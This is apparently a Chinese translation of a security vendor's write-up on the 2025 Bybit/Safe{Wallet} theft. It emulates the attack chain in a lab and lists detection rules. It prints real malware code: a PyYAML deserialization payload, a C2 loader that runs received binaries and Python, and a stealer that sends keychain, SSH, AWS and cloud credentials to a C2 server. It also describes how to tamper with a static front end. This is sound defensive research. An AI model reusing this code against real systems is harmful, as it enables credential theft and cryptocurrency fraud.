关键要点
这项研究的主要结论:
- PyYAML 被反序列化为初始访问向量
- 此次攻击利用了会话令牌滥用和 AWS 横向移动
- 静态站点供应链篡改
- 基于 Docker 的 macOS 隐身技术
- 与 Elastic 的端到端检测关联
简介
2 月21日, 2025约 400,000 个 ETH 从业内最大的加密货币交易所之一 ByBit 消失,震惊了加密货币世界。据信,这起令人难以置信的盗窃案的幕后黑手是朝鲜的精锐网络攻击部队,简称“TraderTraitor” 。TraderTraitor 利用与多重签名钱包平台 Safe{Wallet} 的可信供应商关系,将普通交易变成了价值 10 亿美元的抢劫案。供应链瞄准已成为朝鲜网络战略的标志,也是该政权自 2017 年以来窃取超过60 亿美元加密货币的基础。在本文中,我们将剖析这次攻击,在受控环境中仔细模拟其策略,并提供实用经验教训,以使用 Elastic 的产品和功能加强网络安全防御。
我们对此威胁的模拟基于Sygnia 、 Mandiant/SAFE 、 SlowMist和Unit42发布的研究。
事件年表
如果您来这里是为了了解技术模拟细节,请随意跳过。但为了了解背景并澄清官方报道的内容,我们编制了一份事件的详细时间表,以根据上述研究为依据进行假设。
2 月2 、 2025 – 基础设施设置
攻击者注册域名 getstockprice[.]com通过 Namecheap。该基础设施随后用作初始访问有效载荷中的 C2 端点。
2 月4 、 2025 – 初步妥协
执行恶意 Python 应用程序后,Developer1 的 macOS 工作站受到了威胁。该应用程序包含与 Docker 相关的逻辑并引用了攻击者的域。文件路径( ~/Downloads/
)和恶意软件行为表明存在社会工程行为(可能通过 Telegram 或 Discord,与过去的REF7001和 UNC4899 技术手段一致)。
2 月5 、 2025 – AWS 入侵开始
攻击者使用 Developer1 的活动 AWS 会话令牌成功访问 Safe{Wallet} 的 AWS 环境。攻击者尝试(未成功)向 Developer1 的 IAM 用户注册他们自己的虚拟 MFA 设备,这表明存在持久性尝试。
2 月 5 日至 17 日:在 AWS 环境内开始侦察活动。在此期间,攻击者的行为可能包括枚举 IAM 角色、S3 存储桶和其他云资产。
2 月17 、 2025 – AWS 命令和控制活动
确认在 AWS 中观察到的 C2 流量。这标志着从被动侦察到主动发动攻击的转变。
2 月19 、 2025 – Web 应用程序篡改
Wayback Machine 捕获的 app.safe.global(Safe{Wallet} 静态托管的 Next.js Web 应用程序)快照显示存在恶意 JavaScript。该有效载荷被设计用于检测 Bybit 多重签名交易并动态修改它,将资金重定向到攻击者的钱包。
2 月21 、 2025 – 执行和清理
该漏洞交易是通过受损的 Safe{Wallet} 前端针对 Bybit 执行的。
新的 Wayback Machine 快照确认 JavaScript 有效负载已被删除 - 表明攻击者在执行后手动清除了它。
Bybit 抢劫交易已完成。约有 400,000 个 ETH 被盗。Sygnia 和其他机构随后的分析证实,Bybit 基础设施并未受到直接损害——Safe{Wallet} 是唯一的故障点。
模拟假设
- 初始社会工程学向量:社会工程学被用来危害 Developer1,导致执行恶意 Python 脚本。社会工程策略的具体细节(例如具体消息传递、模仿技术或所使用的通信平台)仍然未知。
- 加载程序和第二阶段有效负载:恶意 Python 脚本执行了第二阶段加载程序。目前尚不清楚该加载器和后续有效载荷是否与 Unit42 报告中详述的一致,尽管初始访问 Python 应用程序的特性一致。
- 安全的应用程序结构和工作流程:被入侵的应用程序(
app.global.safe
)似乎是静态托管在 AWS S3 中的 Next.js 应用程序。但其确切路线、组件、开发流程、版本控制方法和生产部署工作流程等具体细节尚不清楚。 - JavaScript 有效负载部署:虽然攻击者将恶意 JavaScript 注入了 Safe{Wallet} 应用程序,但尚不清楚这是否涉及重建和重新部署整个应用程序,还是仅仅覆盖/修改特定的 JavaScript 文件。
- AWS IAM 和身份管理详细信息:有关 Developer1 在 AWS 内的 IAM 权限、角色和策略配置的详细信息未知。此外,Safe{Wallet} 是否使用 AWS IAM Identity Center 或其他身份管理解决方案仍不清楚。
- AWS 会话令牌检索和使用:虽然报告证实攻击者使用了临时 AWS 会话令牌,但有关 Developer1 最初如何检索这些令牌(例如通过 AWS SSO、
GetSessionToken
或特定的 MFA 配置)以及随后如何存储或使用它们(例如环境变量、AWS 配置文件、自定义脚本)的详细信息尚不清楚。 - AWS 枚举和利用技术:2 月 5 至 2 月17 2025期间,攻击者在 AWS 环境内执行的具体工具、枚举方法、AWS API 调用和具体操作仍未披露。
- AWS 持久性机制:尽管有迹象表明 AWS 基础设施内可能存在持久性(例如,通过 EC2 实例入侵),但并未提供包括工具、策略或持久性方法在内的明确细节。
攻击概述
针对加密生态系统内的公司进行攻击的情况很常见。由于加密货币的相对匿名性和去中心化特性,朝鲜不断针对这些公司,使该政权能够逃避全球金融制裁。朝鲜的网络攻击组织擅长识别和利用漏洞,造成数十亿美元的损失。
此次入侵始于对 Safe{Wallet}(ByBit 值得信赖的多重签名钱包提供商)开发人员的 MacOS 工作站的有针对性的攻击。初始访问涉及社会工程学,可能根据以前的活动通过 LinkedIn、Telegram 或 Discord 等平台联系开发人员,并说服他们下载包含加密主题 Python 应用程序的存档文件——这是朝鲜青睐的初始访问程序。该 Python 应用程序还包含一个可以在特权容器内运行的 Dockerized 版本。开发人员不知道的是,这个看似无害的应用程序使朝鲜操作员能够利用 PyYAML 库中的远程代码执行 (RCE)漏洞,提供代码执行功能并随后控制主机系统。
在获得开发人员机器的初始访问权限后,攻击者部署了MythicC2的Poseidon 代理,这是一个基于 Golang 的强大有效载荷,为 macOS 环境提供高级隐身和广泛的后利用功能。然后,攻击者可能进行了侦察,发现开发人员对 Safe{Wallet} 的 AWS 环境的访问权限以及通过多因素身份验证 (MFA) 保护的临时 AWS 用户会话令牌的使用情况。利用开发人员的 AWS 访问密钥 ID、密钥和临时会话令牌,威胁行为者可以在大约 24 小时内通过身份验证进入 Safe{Wallet} 的 AWS 环境,并利用会话令牌的 12 小时有效期。
为了确保对 AWS 环境的持续访问,攻击者尝试注册自己的 MFA 设备。但是,AWS 临时会话令牌不允许在没有MFA 身份验证上下文的情况下进行 IAM API 调用,导致此尝试失败。在这次小挫折之后,威胁行为者枚举了 AWS 环境,最终发现了一个托管 Safe{Wallet} 的静态 Next.js 用户界面的 S3 存储桶。
然后,攻击者可能下载了这个 Next.js 应用程序的捆绑代码,花费近两周的时间分析其功能,然后将恶意 JavaScript 注入主 JS 文件并覆盖 S3 存储桶中托管的合法版本。恶意 JavaScript 代码仅在从 Bybit 冷钱包地址和攻击者控制的地址发起的交易中激活。通过插入硬编码参数,该脚本绕过了交易验证检查和数字签名验证,有效地欺骗了隐含信任 Safe{Wallet} 界面的 ByBit 钱包审批者。
随后不久,朝鲜发起了一项欺诈交易,触发恶意脚本更改交易细节。这种操纵很可能误导了钱包签名者批准非法转移,从而使朝鲜特工控制了大约 400,000 ETH。这些被盗资金随后被洗劫到攻击者控制的钱包中。
我们选择在 Next.js 应用程序受到损害时结束我们的研究和行为模拟。因此,我们不会深入研究其他几份研究出版物中讨论过的区块链技术,例如 ETH 智能合约、合约地址和扫描 ETH 调用。
模拟攻击
为了真正了解这一漏洞,我们决定在受控的实验室环境中模拟整个攻击链。作为 Elastic 的安全研究人员,我们希望追随攻击者的脚步,了解此操作在每个阶段是如何展开的:从代码执行到 AWS 会话劫持和基于浏览器的交易操纵。
这种亲身实践的模拟有双重目的。首先,它使我们能够在细节、技术层面上分析攻击,以发现实际的检测和预防机会。其次,它让我们有机会端到端测试 Elastic 的功能——看看我们的平台是否不仅可以检测到攻击的每个阶段,还可以将它们关联成防御者可以采取行动的连贯叙述。
MacOS 端点入侵
感谢Unit42的详细记录(更重要的是,将恢复的样本上传到 VirusTotal),我们能够使用在野外观察到的实际有效载荷端到端地模拟攻击。其中包括:
- PyYAML 反序列化有效载荷
- Python加载脚本
- Python窃取脚本
恶意 Python 应用程序
我们在模拟中使用的初始访问 Python 应用程序与SlowMist强调和共享的样本一致,并得到了 Mandiant 从 SAFE 开发人员入侵事件响应结果的证实。该应用程序还与 Unit42 在其撰写中显示的应用程序的目录结构相匹配。攻击者从 GitHub 分叉了一个合法的股票交易 Python 项目,并在名为data_fetcher.py
的 Python 脚本中对其进行了后门处理。
该应用程序利用Streamlit执行app.py
,从而导入脚本data_fetcher.py
。
data_fetcher.py
脚本包含恶意功能,旨在访问攻击者控制的域。
默认情况下,该脚本会获取有效的股票市场相关数据。然而,根据特定条件,攻击者控制的服务器可以返回恶意的 YAML 负载。当使用 PyYAML 的不安全加载器( yaml.load()
)进行评估时,此有效负载允许任意 Python 对象反序列化,从而导致 RCE。
PyYAML 反序列化有效载荷
(VT 哈希: 47e997b85ed3f51d2b1d37a6a61ae72185d9ceaf519e2fdb53bf7e761b7bc08f
)
我们通过在 Python+Flask Web 应用程序上托管 YAML 反序列化有效负载来重新创建此恶意设置,并使用 PythonAnywhere 来模拟攻击者基础设施。我们更新了data_fetcher.py
脚本中的恶意 URL,使其指向我们 PythonAnywhere 托管的 YAML 负载。
当 PyYAML 加载并执行恶意 YAML 负载时,它会执行以下操作:
首先,它在受害者的主目录中创建一个名为Public
的目录。
directory = os.path.expanduser("~")
directory = os.path.join(directory, "Public")
if not os.path.exists(directory):
os.makedirs(directory)
接下来,它会解码并将 base64 编码的 Python 加载器脚本写入Public
目录内名为__init__.py
的新文件中。
filePath = os.path.join(directory, "__init__.py")
with open(filePath, "wb") as f:
f.write(base64.b64decode(b"BASE64_ENCODED_LOADER_SCRIPT"))
最后,它在后台静默执行新创建的__init__.py
脚本,启动攻击的第二阶段。
subprocess.Popen([sys.executable, filePath], start_new_session=True, stdout=DEVNULL, stderr=DEVNULL)
Python加载脚本
(VT 哈希: 937c533bddb8bbcd908b62f2bf48e5bc11160505df20fea91d9600d999eafa79
)
为了避免留下法医证据,加载程序在执行后首先删除其文件( __init__.py
),只让其在内存中运行。
directory = os.path.join(home_directory, "Public")
if not os.path.exists(directory):
os.makedirs(directory)
try:
body_path = os.path.join(directory, "__init__.py")
os.remove(body_path)
该加载程序的主要目标是与命令和控制 (C2) 服务器建立持续通信。它收集基本系统信息(如操作系统类型、架构和系统版本),并通过 HTTP POST 请求将这些详细信息发送到硬编码的 /club/fb/status URL 端点的 C2。
params = {
"system": platform.system(),
"machine": platform.machine(),
"version": platform.version()
}
while True:
try:
response = requests.post(url, verify=False, data = params, timeout=180)
根据服务器的响应(ret值),加载器决定其下一步操作。
ret == 0:
脚本休眠 20 秒并继续轮询。
if res['ret'] == 0:
time.sleep(20)
continue
ret == 1:
服务器响应包含 Base64 格式的有效负载。该脚本解码此有效负载,并将其写入文件(如果在 Windows 上则名为init.dll
,否则名为init
),然后使用ctypes.cdll.LoadLibrary
动态加载库,这会导致有效负载作为本机二进制文件运行。
elif res['ret'] == 1:
if platform.system() == "Windows":
body_path = os.path.join(directory, "init.dll")
else:
body_path = os.path.join(directory, "init")
with open(body_path, "wb") as f:
binData = base64.b64decode(res["content"])
f.write(binData)
os.environ["X_DATABASE_NAME"] = ""
ctypes.cdll.LoadLibrary(body_path)
ret == 2:
该脚本将 Base64 内容解码为 Python 源代码,然后使用 Python 的exec()
函数执行。这允许运行任意 Python 代码。
elif res['ret'] == 2:
srcData = base64.b64decode(res["content"])
exec(srcData)
ret == 3:
该脚本将二进制有效负载( dockerd
)和二进制配置文件( docker-init
)解码为两个单独的文件,将它们的权限设置为可执行,然后尝试将它们作为新进程运行,并将配置文件作为参数提供给二进制有效负载。执行二进制有效载荷后,它会删除其可执行文件,将配置文件留在磁盘上以供参考。
elif res['ret'] == 3:
path1 = os.path.join(directory, "dockerd")
with open(path1, "wb") as f:
binData = base64.b64decode(res["content"])
f.write(binData)
path2 = os.path.join(directory, "docker-init")
with open(path2, "wb") as f:
binData = base64.b64decode(res["param"])
f.write(binData)
os.chmod(path1, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
stat.S_IRGRP | stat.S_IXGRP |
stat.S_IROTH | stat.S_IXOTH)
os.chmod(path2, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
stat.S_IRGRP | stat.S_IXGRP |
stat.S_IROTH | stat.S_IXOTH)
try:
process = subprocess.Popen([path1, path2], start_new_session=True)
process.communicate()
return_code = process.returncode
requests.post(SERVER_URL + '/club/fb/result', verify=False, data={"result": str(return_code)})
except:
pass
os.remove(path1)
ret == 9:
脚本跳出轮询循环,终止进一步的操作。
elif res['ret'] == 9:
break
处理完任何命令后,脚本将继续轮询来自 C2 服务器的进一步指令。
Python加载器模拟
我们的目标是测试加载程序中的每个命令选项,以便更好地了解正在发生的事情,收集相关的遥测数据,并对其进行分析,以便为我们的端点和 SIEM 构建强大的检测。
Ret == 1:将库写入磁盘,加载并删除 Dylib
我们为此选项使用的有效载荷是编译为共享库的Poseidon有效载荷 ( .dylib
)。
然后,我们对二进制文件进行 base64 编码,并能够在我们的 C2 服务器中对该 base64 编码的有效负载的路径进行硬编码,以便在测试此特定的加载程序命令时提供服务。
base64 poseidon.dylib > poseidon.b64
BINARY_PAYLOAD_B64 = "BASE64_ENCODED_DYLIB_PAYLOAD" # For ret==1
STEALER_PAYLOAD_B64 = "BASE64_ENCODED_STEALER_SCRIPT" # For ret==2
MULTI_STAGE_PAYLOAD_B64 = "BASE64_ENCODED_MULTISTAGE_PAYLOAD" # For ret==3
# For testing we simulate a command to send.
# Options: 0, 1, 2, 3, 9.
# 0: Idle (sleep); 1: Execute native binary; 2: Execute Python code; 3: Execute multi-stage payload; 9: Terminate.
COMMAND_TO_SEND = 1 # Change this value to test different actions
一旦我们收到 Poseidon 有效载荷回调到我们的Mythic C2,我们就能够使用 Poseidon 提供的各种不同方法检索凭据。
选项 1:下载命令- 访问文件,读取内容,并将数据发送回 C2。
选项 2: getenv 命令- 读取用户环境变量并将内容发送回 C2。
选项 3: jsimport和jsimport_call命令 - 将 JXA 脚本导入内存,然后调用 JXA 脚本中的方法从文件中检索凭据并返回内容。
Ret == 2:在进程内存中接收并执行任意 Python 代码
(VT 哈希: e89bf606fbed8f68127934758726bbb5e68e751427f3bcad3ddf883cb2b50fc7
)
加载脚本允许在内存中运行任意 Python 代码或脚本。在 Unit42 的博客中,他们提供了一个通过此返回值观察到朝鲜执行的 Python 脚本。该脚本收集了大量的数据。该数据经过 XOR 编码并通过 POST 请求发送回 C2 服务器。对于模拟,所需要做的就是按照我们的 C2 服务器中定义的适当路由添加我们的 C2 URL,并在测试此选项时在我们的服务器中对脚本进行 base64 编码并对其路径进行硬编码。
def get_info():
global id
id = base64.b64encode(os.urandom(16)).decode('utf-8')
# get xor key
while True:
if not get_key():
break
base_info()
send_directory('home/all', '', home_dir)
send_file('keychain', os.path.join(home_dir, 'Library', 'Keychains', 'login.keychain-db'))
send_directory('home/ssh', 'ssh', os.path.join(home_dir, '.ssh'), True)
send_directory('home/aws', 'aws', os.path.join(home_dir, '.aws'), True)
send_directory('home/kube', 'kube', os.path.join(home_dir, '.kube'), True)
send_directory('home/gcloud', 'gcloud', os.path.join(home_dir, '.config', 'gcloud'), True)
finalize()
break
Ret == 3:将二进制有效载荷和二进制配置写入磁盘,执行有效载荷并删除文件
对于 ret == 3 我们使用了标准 Poseidon 二进制有效载荷和包含加载器脚本中指定的二进制数据的“配置文件”。然后,我们像上面的 ret == 1 选项一样对二进制文件和配置文件进行 base64 编码,并在我们的 C2 服务器中对它们的路径进行硬编码,以便在测试此命令时提供服务。与上面的 ret == 1 选项相同,我们能够使用相同的命令从目标系统收集凭据。
C2基础设施
我们创建了一个非常简单和小型的 C2 服务器,用 Python+Flask 构建,旨在监听我们 Kali Linux VM 上的指定端口并评估传入的请求,根据我们希望测试的路由和返回值做出适当的响应。
我们还使用了开源Mythic C2来方便创建和管理我们使用的 Poseidon 有效载荷。Mythic 是一个开源 C2 框架,由 SpecterOps 的 Cody Thomas 创建和维护。
恶意 Python 应用程序:Docker 版本
我们还探索了恶意 Python 应用程序的 Dockerized 变体。此版本打包在以特权模式运行的最小 Python Docker 容器(python:3.12.2-slim)中,授予其访问主机资源的能力。
由于 Apple 的端点安全框架 (ESF) 缺乏自省容器化进程的能力,容器化应用程序在 macOS 上创建了遥测和检测盲点。虽然 ESF 和端点检测解决方案仍然可以观察到受信任的 Docker 进程访问敏感主机文件(例如 SSH 密钥、AWS 凭证或用户配置数据),但这些操作通常与标准开发人员工作流程一致。因此,安全工具不太可能仔细检查或触发容器化活动的警报,从而为攻击者在 Docker 环境中操作时提供更高的隐蔽性。
这凸显了额外监控的必要性,例如OSQuery和Docker日志文件收集,以补充标准的 macOS 端点防御。Elastic 通过我们的 Elastic Agent 数据集成 提供 OSQuery 和 Docker 日志文件收集以及我们的端点保护功能。
MacOS 仿真结论
我们的模拟使用真实世界的有效载荷端到端地重现了针对 SAFE 开发人员的 macOS 系统的攻击。
恶意 Python 应用程序:
我们首先复制了 Mandiant 的调查结果和 Unit42 的报告中描述的恶意 Python 应用程序。攻击者分叉了一个合法的开源应用程序,并在data_fetcher.py
中嵌入了 RCE 访问权限。该脚本向攻击者控制的服务器发出出站请求,并有条件地获取恶意 YAML 文件。通过使用 PyYAML 的yaml.load()
和不安全的加载器,攻击者通过反序列化触发任意代码执行。
PyYAML Payload 反序列化导致 Python Loader 脚本执行:
YAML 有效负载将 base64 编码的第二阶段加载器写入~/Public/__init__.py
,并在分离进程中执行它。我们使用托管在 PythonAnywhere 上的基于 Flask 的暂存服务器模拟了这个精确的流程。
Python加载器执行和C2交互:
一旦启动,加载器就会删除其磁盘文件并向我们模拟的 C2 发出信号,等待执行任务。根据 C2 的响应代码( ret
),我们测试了以下操作:
- ret == 1 :加载程序解码了 Poseidon 有效载荷(编译为
.dylib
)并使用ctypes.cdll.LoadLibrary()
执行它,从而导致从磁盘执行本机代码。 - ret == 2 :加载程序执行了内存中的 Python 窃取程序,与 Unit42 共享的脚本匹配。该脚本收集系统、用户、浏览器和凭证数据,并通过 XOR 编码的 POST 请求将其泄露。
- ret == 3 :加载程序将 Poseidon 二进制文件和单独的二进制配置文件写入磁盘,使用配置作为参数执行二进制文件,然后删除有效载荷。
- ret == 9 :加载器终止其轮询循环。
数据收集:枢轴前侦察和凭证访问:
在我们的ret == 2测试中,Python 窃取程序收集了:
- macOS 系统信息(
platform
、os
、user
) - Chrome 用户数据(书签、Cookie、登录数据等)
- SSH 私钥 (
~/.ssh
) - AWS 凭证 (
~/.aws/credentials
) - macOS 钥匙串文件 (
login.keychain-db
) - GCP/Kube 配置文件来自
.config/
这模拟了云攻击之前的预枢转数据收集,并反映了朝鲜参与者如何从开发人员的本地环境中获取 AWS 凭证。
利用有效的 AWS 凭证,威胁行为者随后转向云环境,启动入侵的第二阶段。
AWS 云入侵
先决条件和设置
为了模拟此次攻击的 AWS 阶段,我们首先利用 Terraform 建立必要的基础设施。这包括创建一个 IAM 用户(开发人员),并使用过于宽松的 IAM 策略授予对 S3、IAM 和 STS API 的访问权限。然后,我们将本地构建的 Next.js 应用程序推送到 S3 存储桶并确认站点处于活动状态,模拟了一个简单的 Safe{Wallet} 前端。
我们选择Next.js
是基于原始 S3 存储桶静态站点路径 - https://app[.]safe[.]global/_next/static/chunks/pages/_app-52c9031bfa03da47.js
在注入任何恶意代码之前,我们通过使用已知目标钱包地址执行测试交易来验证网站的完整性,以确保应用程序按预期响应。
临时会话令牌检索
在开发人员的 macOS 工作站上进行初始访问和后期入侵活动之后,早期的假设集中在攻击者从默认 AWS 配置位置(例如~/.aws
或用户环境变量)检索凭据。Unit42 的博客后来证实,Python 窃取脚本的目标是 AWS 文件。这些位置通常存储标准开发工作流程中使用的长期 IAM 凭证或临时会话令牌。然而,根据公开报告,这一特定的泄露涉及 AWS 用户会话令牌,而不是长期 IAM 凭证。在我们的模拟中,作为开发人员,我们将虚拟 MFA 设备添加到我们的 IAM 用户,启用它,然后检索我们的用户会话令牌并将凭据导出到我们的环境。请注意,在我们的 Kali Linux 端点上,我们利用 ExpressVPN(就像对手所做的那样)进行任何 AWS API 调用或与开发人员框的交互。
怀疑开发人员通过GetSessionToken API 操作或使用 AWS CLI 通过 AWS Single Sign-On (SSO) 登录获取了临时 AWS 凭证。这两种方法都会导致短期凭证在本地缓存,并可用于基于 CLI 或 SDK 的交互。这些临时凭据可能会被缓存在~/.aws
文件中,或作为 macOS 系统上的环境变量导出。
在GetSessionToken场景中,开发人员将执行如下命令:
aws sts get-session-token --serial-number "$ARN" --token-code "$FINAL_CODE" --duration-seconds 43200 --profile "$AWS_PROFILE" --output json
在基于 SSO 的身份验证场景中,开发人员可能运行过:
aws configure sso
aws sso login -profile "$AWS_PROFILE" -use-device-code "OTP"`
任何一种方法都会导致临时凭证(访问密钥、机密和会话令牌)保存在~/.aws
文件中,并可供配置的 AWS 配置文件使用。除非被覆盖,否则这些凭证将被 AWS CLI 或 Boto3 等 SDK 等工具自动使用。无论哪种情况,如果恶意软件或对手可以访问开发人员的 macOS 系统,那么就可以轻松地从环境变量、AWS 配置缓存或凭证文件中获取这些凭证。
为了获得 Developer1 的这些凭证,我们创建了一个自定义脚本以实现快速自动化。它在 AWS 中创建了一个虚拟 MFA 设备,向我们的 Developer1 用户注册了该设备,然后从 STS 调用GetSessionToken
- 将返回的临时用户会话凭据作为环境变量添加到我们的 macOS 端点,如下所示。
MFA 设备注册尝试
这里的一个关键假设是,开发人员正在使用启用了 MFA 的用户会话,无论是直接使用还是承担自定义管理的 IAM 角色。我们的假设源于被盗用的凭证材料——AWS 临时用户会话令牌,这些令牌并非从控制台获取,而是按需从 STS 请求。默认情况下, GetSessionToken
或 SSO 返回的临时凭证会在一定小时数后过期,而带有 ASIA* 前缀的会话令牌则表明攻击者获取了一个短暂但影响巨大的凭证。这与之前朝鲜发起的攻击中的行为一致,其中提取并重用了 Kubernetes、GCP 和 AWS 的凭证和配置。
在 Kali 上假设被盗用的身份
一旦收集到 AWS 会话令牌,攻击者可能会将其存储在 Kali Linux 系统上的标准 AWS 凭证位置(例如~/.aws/credentials
或作为环境变量)中,或者可能存储在自定义文件结构中,具体取决于所使用的工具。虽然 AWS CLI 默认从~/.aws/credentials
和环境变量读取,但利用 Boto3 的 Python 脚本可以配置为从几乎任何文件或路径获取凭证。考虑到入侵后活动的速度和精度,攻击者可能使用了 AWS CLI、直接 Boto3 SDK 调用或包装 CLI 命令的 shell 脚本 - 所有这些都提供了便利性和内置请求签名。
不太可能的是,攻击者使用 SigV4 手动签署 AWS API 请求,因为这会不必要地缓慢且操作复杂。还需要注意的是,没有公开博客披露哪个用户代理字符串与会话令牌的使用相关(例如攻击者可以使用多种攻击工具(例如 aws-cli、botocore 等),这使得攻击者的具体工具存在不确定性。话虽如此,考虑到 DRPK 对 Python 的依赖以及攻击的速度,使用 CLI 或 SDK 仍然是最合理的假设。
注意:在 Unit 42 发布有关 RN Loader 功能的博客之前,我们已使用 Poseidon 有效载荷进行了模拟。
澄清有关 AWS 身份验证模型的细微差别非常重要:使用会话令牌并不会本质上阻止对 IAM API 操作的访问- 甚至是像CreateVirtualMFADevice这样的操作 - 只要会话最初是使用 MFA 建立的。在我们的模拟中,我们尝试使用具有 MFA 上下文的被盗会话令牌来复制此行为。有趣的是,我们尝试注册额外的 MFA 设备失败了,这表明可能存在额外的保护措施(例如明确的策略约束),阻止通过会话令牌进行 MFA 注册,或者这种行为的细节仍然太模糊,我们错误地模仿了这种行为。虽然确切的失败原因尚不清楚,但这种行为值得对与会话绑定操作相关的 IAM 策略和身份验证上下文进行更深入的调查。
S3 资产枚举
获取凭证后,攻击者可能会枚举可访问的 AWS 服务。在这种情况下,Amazon S3 是一个明显的目标。攻击者会列出所有区域中可供受损身份使用的存储桶,并找到与 Safe{Wallet} 关联的面向公众的存储桶,该存储桶托管用于交易处理的前端 Next.js 应用程序。
我们假设攻击者知道 S3 存储桶,因为它在为app.safe[.]global
提供内容服务,这意味着存储桶的结构和资产可以在无需身份验证的情况下公开浏览或下载。在我们的模拟中,我们通过同步用于静态站点托管的公共 S3 存储桶中的资产来验证类似的行为。
Next.js 应用遭恶意代码覆盖
发现存储桶后,攻击者很可能使用 aws s3 sync命令下载全部内容,其中包括捆绑的前端 JavaScript 资产。在 2 月 5 至 2 月19期间, 2025他们似乎专注于修改这些资产 - 具体来说,是main.<HASH>.js
之类的文件和相关路由,它们由Next.js
在构建过程中输出并存储在_next/static/chunks/pages/
目录下。这些捆绑的文件包含转换后的应用程序逻辑,根据 Sygnia 的取证报告,名为_app-52c9031bfa03da47.js
的文件是恶意代码的主要注入点。
Next.js 应用程序在构建时通常将其静态生成的资产存储在next/static/
目录下,并将 JavaScript 块组织到/chunks/pages/
等文件夹中。在这种情况下,对手可能会格式化并反混淆 JavaScript 包以了解其结构,然后对应用程序逻辑进行逆向工程。在确定负责处理用户输入的钱包地址的代码后,他们注入了有效载荷。该有效载荷引入了条件逻辑:如果输入的钱包地址与几个已知目标地址之一匹配,它会悄悄地用朝鲜控制的地址替换目的地,在用户不知情的情况下重定向资金。
在我们的模拟中,我们通过修改TransactionForm.js
组件来复制此行为,以检查输入的收件人地址是否与特定值匹配。如果是这样,该地址就被攻击者控制的钱包所取代。虽然这并不能反映现实世界攻击中使用的实际智能合约操纵或委托调用的复杂性,但它作为概念行为,说明了受损的前端如何悄悄地重定向加密货币交易。
静态站点篡改影响和缺失安全控制
这种前端篡改在 Web3 环境中尤其危险,因为去中心化应用程序 (dApps) 通常依赖静态客户端逻辑来处理交易。通过修改从 S3 存储桶提供的 JavaScript 包,攻击者无需破坏后端 API 或智能合约逻辑即可破坏应用程序的行为。
我们假设在受到攻击期间, S3 对象锁、内容安全策略 (CSP) 或子资源完整性 (SRI) 标头等保护措施未被使用或未被强制执行。如果缺少这些控制,攻击者就可以修改静态前端代码,而无需触发浏览器或后端完整性验证,从而使这种篡改更容易在不被发现的情况下进行。
国防经验
成功的模拟(或现实世界的事件响应)并不会以识别攻击者的行为而结束。它不断加强防御,以防止类似的技术再次得逞。下面,我们概述了关键检测、安全控制、缓解策略和 Elastic 功能,这些可以帮助降低风险并限制暴露于此模拟和野外(ItWallet)活动(如 Safe{Wallet} 入侵)中使用的策略。
注意:这些检测会得到积极维护和定期调整,并且可能会随着时间的推移而发展。根据您的环境,可能需要进行额外的调整以最大限度地减少误报并减少噪音。
Elastic 的 SIEM 检测和端点预防规则
一旦我们通过模拟了解对手的行为并实施安全控制来强化环境,探索检测机会和能力以实时识别和应对这些威胁也同样重要。
一旦我们通过模拟了解对手的行为并实施安全控制来强化环境,探索检测机会和能力以实时识别和应对这些威胁也同样重要。
MacOS 端点行为预防规则
Python PyYAML 反序列化有效载荷
规则名称:“ Python 脚本删除和执行”:检测何时创建或修改 Python 脚本,然后立即由同一个 Python 进程执行该脚本。
Python加载脚本
规则名称:“自删除 Python 脚本”:检测 Python 脚本何时执行并且该脚本文件是否被同一个 Python 进程立即删除。
规则名称:“自删除的 Python 脚本出站连接”:检测 Python 脚本何时被删除,并且同一 Python 进程随后不久发生出站网络连接。
Python 加载器脚本 Ret == 1
规则名称:“通过 Python 创建可疑的可执行文件”:检测何时在可疑或不寻常的目录中由 Python 创建或修改可执行文件。
规则名称:“ Python 库加载和删除”:检测位于用户主目录中的共享库何时被 Python 加载,随后同一 Python 进程不久后删除该库。
规则名称:“通过 Python 加载异常库”:检测 Python 何时加载未表示为 .dylib 的共享库或者 .so文件,位于用户主目录中。
规则名称:“通过 ScriptingAdditions 进行内存中 JXA 执行”:检测内存中 JXA 脚本的加载和执行。
Python 加载器脚本 Ret == 2
规则名称:“潜在的 Python 窃取者”:检测 Python 脚本何时执行,随后同一 Python 进程至少尝试三次访问敏感文件。
规则名称:“自删除的 Python 脚本访问敏感文件”:检测 Python 脚本何时被删除,并且敏感文件何时被同一个 Python 进程访问。
Python 加载器脚本 Ret == 3
规则名称:“通过 Python 执行未签名或不受信任的二进制文件”:检测未签名或不受信任的二进制文件何时由 Python 执行,其中可执行文件位于可疑目录中。
规则名称:“通过 Python 执行未签名或不受信任的二进制文件分叉”:检测未签名或不受信任的二进制文件何时由 Python 执行分叉,其中进程参数是用户主目录中文件的路径。
规则名称:“可疑目录中的进程访问云凭证文件”:检测从可疑目录运行的进程何时访问云凭证。
AWS CloudTrail 日志的 SIEM 检测
规则名称:“ STS 临时 IAM 会话令牌用于多个地址”:检测 AWS IAM 会话令牌(例如ASIA*)在短时间内被多个源 IP 地址使用,这可能表明攻击者的基础设施存在凭证盗窃和重复使用的情况。
规则名称:“ IAM 尝试使用临时凭证注册虚拟 MFA 设备”:检测使用 AWS 会话令牌调用 CreateVirtualMFADevice 或 EnableMFADevice 的尝试。这可能反映了使用劫持的短期凭证建立持久访问的尝试。
规则名称:“通过临时会话令牌对 IAM 进行 API 调用”:检测主体使用临时凭证对敏感的 iam.amazonaws.com API 操作的使用(例如带有 ASIA* 前缀的会话令牌)。这些操作通常需要 MFA 或只能通过 AWS 控制台或联合用户执行。不是 CLI 或自动化令牌。
规则名称:“通过 PutObject 上传的 S3 静态站点 JavaScript 文件”:识别 IAM 用户尝试上传或修改 S3 存储桶的 static/js/ 目录中的 JavaScript 文件,这可能表示前端篡改(例如注入恶意代码)
规则名称:“带有 Kali Linux 指纹识别的 AWS CLI ”:检测从使用 Kali Linux 的系统发出的 AWS API 调用,如 user_agent.original 字符串所示。这可能反映了攻击者的基础设施或红队工具的未经授权的访问。
规则名称:“ S3 过多或可疑的 GetObject 事件”:检测同一 IAM 用户或会话在短时间内执行的大量 S3 GetObject 操作。这可能表明使用 AWS CLI 命令同步等工具进行 S3 数据泄露 - 特别是针对静态站点文件或前端包。请注意,这是一个狩猎查询,应进行相应调整。
Docker 滥用的 SIEM 检测
规则名称:“通过 Docker 访问敏感文件”:检测 Docker 何时访问敏感主机文件(“ssh”、“aws”、“gcloud”、“azure”、“web browser”、“加密钱包文件”)。
规则名称:“通过 Docker 修改可疑的可执行文件”:检测 Docker 何时在可疑或异常目录中创建或修改可执行文件。
